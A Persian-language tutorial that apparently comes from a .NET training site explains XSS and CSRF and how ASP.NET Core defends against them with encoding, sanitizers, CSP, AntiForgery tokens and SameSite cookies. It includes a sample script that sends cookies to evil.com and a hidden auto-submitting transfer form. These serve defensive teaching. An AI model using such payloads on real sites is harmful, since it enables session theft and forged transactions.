امنیت نرم‌افزار

XSS و CSRF چیست؟
و نحوه‌ی مقابله با آن‌ها در ASP.NET Core

دو تا از رایج‌ترین و خطرناک‌ترین حملات وب را از نزدیک بشناسید و یاد بگیرید ASP.NET Core چطور به‌صورت پیش‌فرض، و با AntiForgery Token، از اپلیکیشن شما دفاع می‌کند.

امنیت وب معمولاً تا زمانی که یک حادثه پیش نیامده، آخرین اولویت توسعه‌دهنده‌هاست. اما دو حمله‌ی XSS و CSRF آن‌قدر رایج هستند که همیشه در فهرست OWASP Top 10 جای دارند. در این مقاله هر دو حمله را از نزدیک بررسی می‌کنیم، تفاوت‌شان را روشن می‌کنیم، و نشان می‌دهیم ASP.NET Core چه ابزارهایی برای مقابله با آن‌ها در اختیارتان می‌گذارد — از جمله AntiForgery Token که نقش کلیدی در دفاع در برابر CSRF دارد.


XSS چیست؟ (Cross-Site Scripting)

در حمله‌ی XSS، مهاجم موفق می‌شود کد جاوااسکریپت مخرب خودش را داخل صفحه‌ای که کاربر دیگری آن را می‌بیند، تزریق کند. وقتی مرورگر قربانی آن کد را اجرا می‌کند، مهاجم می‌تواند کوکی‌ها را بدزدد، هویت کاربر را جعل کند، یا کاربر را به سایت فیشینگ هدایت کند.

ساده‌ترین مثال: فرض کنید یک بخش نظرات دارید که ورودی کاربر را بدون Sanitize مستقیم در صفحه نمایش می‌دهد:

<!-- کاربر این متن رو به‌عنوان نظر ثبت کرده -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

اگر این متن بدون فیلتر مستقیم در HTML قرار بگیرد، مرورگر هر کاربری که این صفحه را باز کند، بی‌سروصدا کوکی‌اش را برای مهاجم ارسال می‌کند.

انواع XSS

1
Stored XSS
کد مخرب در دیتابیس ذخیره می‌شود (مثل یک نظر) و برای هر کاربری که صفحه را ببیند اجرا می‌شود
2
Reflected XSS
کد مخرب از طریق پارامترهای URL ارسال و بلافاصله در پاسخ سرور بازتاب داده می‌شود
3
DOM-based XSS
آسیب‌پذیری کاملاً سمت کلاینت است؛ جاوااسکریپت صفحه، ورودی کاربر را ناامن در DOM می‌نویسد
4
Blind XSS
Payload در بخشی اجرا می‌شود که مهاجم مستقیم نمی‌بیند، مثل پنل ادمین یا لاگ‌ها

مقابله با XSS در ASP.NET Core

خبر خوب این‌جاست که Razor به‌صورت پیش‌فرض HTML Encoding را روی هر مقداری که با @ چاپ می‌کنید انجام می‌دهد:

این خط به‌صورت خودکار Encode می‌شود و امن است:
    
<p>@Model.CommentText</p>

مشکل از جایی شروع می‌شود که این رفتار پیش‌فرض را دور بزنید — مثلاً با ()Html.Raw:

خطرناک: هرچی کاربر وارد کرده مستقیم به‌صورت HTML رندر می‌شود

@Html.Raw(Model.CommentText)

قانون طلایی: از ()Html.Raw فقط زمانی استفاده کنید که محتوا از منبع کاملاً قابل‌اعتماد باشد (مثل یک ادیتور HTML داخلی با Sanitizer مشخص)، نه از ورودی مستقیم کاربر.

برای مواردی که واقعاً نیاز به پذیرفتن HTML محدود دارید (مثل یک ادیتور متن غنی)، از یک کتابخانه‌ی Sanitizer مثل HtmlSanitizer استفاده کنید تا تگ‌ها و ویژگی‌های خطرناک حذف شوند:

var sanitizer = new HtmlSanitizer();
sanitizer.AllowedTags.Clear();
sanitizer.AllowedTags.Add("b");
sanitizer.AllowedTags.Add("i");
sanitizer.AllowedTags.Add("p");

string safeHtml = sanitizer.Sanitize(userInput);

علاوه بر این، تنظیم صحیح هدر Content-Security-Policy (CSP) یک لایه‌ی دفاعی اضافه است که حتی اگر یک XSS از فیلترها رد شود، اجرای اسکریپت‌های غیرمجاز را در سطح مرورگر مسدود می‌کند:

app.Use(async (context, next) =>
{
    context.Response.Headers.Append(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self'");
    await next();
});

CSRF چیست؟ (Cross-Site Request Forgery)

در حمله‌ی CSRF، مهاجم کاربری را که از قبل در سایت شما لاگین کرده فریب می‌دهد تا بدون اطلاع خودش، یک درخواست را به سرور شما ارسال کند. چون مرورگر به‌صورت خودکار کوکی‌های Session را با هر درخواست به همان دامنه می‌فرستد، سرور نمی‌تواند تشخیص دهد این درخواست واقعاً از خواست کاربر بوده یا از یک صفحه‌ی مخرب دیگر.

مثال کلاسیک: فرض کنید سایت بانکی شما یک فرم انتقال وجه با متد GET یا POST ساده دارد. مهاجم می‌تواند در سایت خودش یک فرم مخفی بسازد که هنگام بازدید قربانی، خودکار Submit می‌شود:

<!-- در یک سایت مخرب، خارج از کنترل شما -->
<form action="https://yourbank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="5000" />
    <input type="hidden" name="toAccount" value="12345" />
</form>
<script>document.forms[0].submit();</script>

اگر قربانی هم‌زمان در سایت بانکی لاگین باشد، مرورگر به‌طور خودکار کوکی Session معتبر را همراه این درخواست می‌فرستد و سرور، بدون راه تشخیص، درخواست را معتبر تلقی می‌کند.


تفاوت کلیدی XSS و CSRF

ویژگی XSS CSRF
هدف اصلیاجرای کد مخرب در مرورگر قربانیسوءاستفاده از Session معتبر قربانی
محل آسیب‌پذیریخروجی سرور (عدم Encode صحیح)عدم اعتبارسنجی مبدأ درخواست
نیاز به لاگین قربانیخیر (لزوماً)بله
راه اصلی مقابلهHTML Encoding + Sanitize + CSPAntiForgery Token + SameSite Cookie
می‌تواند داده بخواند؟بله، هر چیزی در DOMخیر، فقط عملیات (نوشتن) را جعل می‌کند

نقش AntiForgery Token در مقابله با CSRF

راه‌حل اصلی ASP.NET Core برای CSRF، مکانیزمی به نام AntiForgery Token (یا Anti-CSRF Token) است. ایده‌ی اصلی ساده است:

  1. سرور هنگام نمایش فرم، یک توکن تصادفی و غیرقابل‌حدس تولید می‌کند
  2. این توکن به دو شکل ارسال می‌شود: یکی داخل یک Hidden Field در خود فرم، و یکی داخل یک کوکی
  3. وقتی فرم Submit می‌شود، سرور مقدار توکن داخل فرم را با مقدار داخل کوکی مقایسه می‌کند
  4. چون یک سایت مخرب نمی‌تواند به مقدار کوکی سایت شما دسترسی داشته باشد (به‌خاطر Same-Origin Policy)، نمی‌تواند توکن معتبر را در فرم جعلی خودش قرار دهد

این تکنیک به Double Submit Cookie Pattern معروف است: مهاجم می‌تواند کاربر را وادار به ارسال درخواست کند، اما نمی‌تواند مقدار صحیح توکن را حدس بزند یا از کوکی مرورگر قربانی بخواند، پس درخواستش رد می‌شود.

استفاده از AntiForgery Token در Razor Pages / MVC

در فرم‌های معمولی Razor، فقط کافی است از Tag Helper استاندارد فرم استفاده کنید — توکن به‌صورت خودکار اضافه می‌شود:

<form asp-action="Transfer" method="post">
    <!-- <input name="__RequestVerificationToken" type="hidden" value="..." /> -->
    <input asp-for="Amount" />
    <button type="submit">انتقال وجه</button>
</form>

و در سمت Action، اعتبارسنجی با یک Attribute ساده فعال می‌شود:

[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> Transfer(TransferModel model)
{
    if (!ModelState.IsValid)
        return View(model);

    await _paymentService.TransferAsync(model.Amount, model.ToAccount);
    return RedirectToAction(nameof(Success));
}

اگر بخواهید این رفتار را برای همه‌ی اکشن‌های POST به‌صورت سراسری فعال کنید (توصیه‌شده برای پروژه‌های جدید)، می‌توانید یک Filter سراسری اضافه کنید:

builder.Services.AddControllersWithViews(options =>
{
    options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
});

استفاده از AntiForgery Token در فراخوانی‌های AJAX / Fetch

وقتی فرم را با جاوااسکریپت (نه Submit مستقیم) ارسال می‌کنید، باید توکن را خودتان از یک Endpoint یا از یک Hidden Field بخوانید و در هدر درخواست قرار دهید:


app.MapGet("/antiforgery/token", (IAntiforgery antiforgery, HttpContext context) =>
{
    var tokens = antiforgery.GetAndStoreTokens(context);
    return Results.Json(new { token = tokens.RequestToken });
});
// سمت کلاینت
const res = await fetch('/antiforgery/token');
const { token } = await res.json();

await fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'RequestVerificationToken': token
    },
    body: JSON.stringify({ amount: 5000, toAccount: '12345' })
});

لایه‌ی دفاعی دوم: SameSite Cookies

در کنار AntiForgery Token، تنظیم صحیح ویژگی SameSite روی کوکی Session یک لایه‌ی دفاعی مهم و مکمل است. این ویژگی به مرورگر می‌گوید کوکی را فقط در درخواست‌هایی که از همان سایت شروع شده‌اند ارسال کند:

builder.Services.ConfigureApplicationCookie(options =>
{
    options.Cookie.SameSite = SameSiteMode.Strict;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
});

نکته: SameSite=Strict امن‌ترین حالت است اما ممکن است در سناریوهایی مثل ورود از طریق لینک ایمیل مشکل ایجاد کند. برای اکثر پروژه‌ها SameSite=Lax تعادل خوبی بین امنیت و تجربه‌ی کاربری است. مهم این‌که SameSite جایگزین AntiForgery Token نیست، بلکه مکمل آن است — چون برخی مرورگرهای قدیمی‌تر از SameSite پشتیبانی نمی‌کنند.


چک‌لیست عملی امنیت

Encode خروجی — هرگز از ()Html.Raw برای ورودی مستقیم کاربر استفاده نکنید
Content-Security-Policy — هدر CSP را برای محدود کردن منابع اسکریپت تنظیم کنید
ValidateAntiForgeryToken — روی همه‌ی اکشن‌های تغییر داده (POST/PUT/DELETE) فعال کنید
SameSite Cookie — حداقل روی Lax، ترجیحاً Strict برای عملیات حساس
HttpOnly Cookie — کوکی Session را از دسترسی جاوااسکریپت مخفی نگه دارید

جمع‌بندی

XSS و CSRF دو حمله‌ی متفاوت با دو مکانیزم دفاعی متفاوت هستند: XSS با Encode درست خروجی و Sanitize ورودی مهار می‌شود، در حالی‌که CSRF با اثبات این‌که درخواست واقعاً از همان سایت شما آمده — از طریق AntiForgery Token و SameSite Cookie — دفع می‌شود. خبر خوب این‌جاست که ASP.NET Core بیشتر این دفاع‌ها را به‌صورت پیش‌فرض یا با یک خط تنظیمات فراهم می‌کند؛ کار اصلی شما این است که این پیش‌فرض‌ها را خاموش نکنید و از میان‌برهایی مثل ()Html.Raw بدون احتیاط عبور نکنید.

می‌خوای عمیق‌تر یاد بگیری؟

دوره‌های عملی معماری نرم‌افزار و دات‌نت رو در «کد و معماری» دنبال کن.

مشاهده مقالات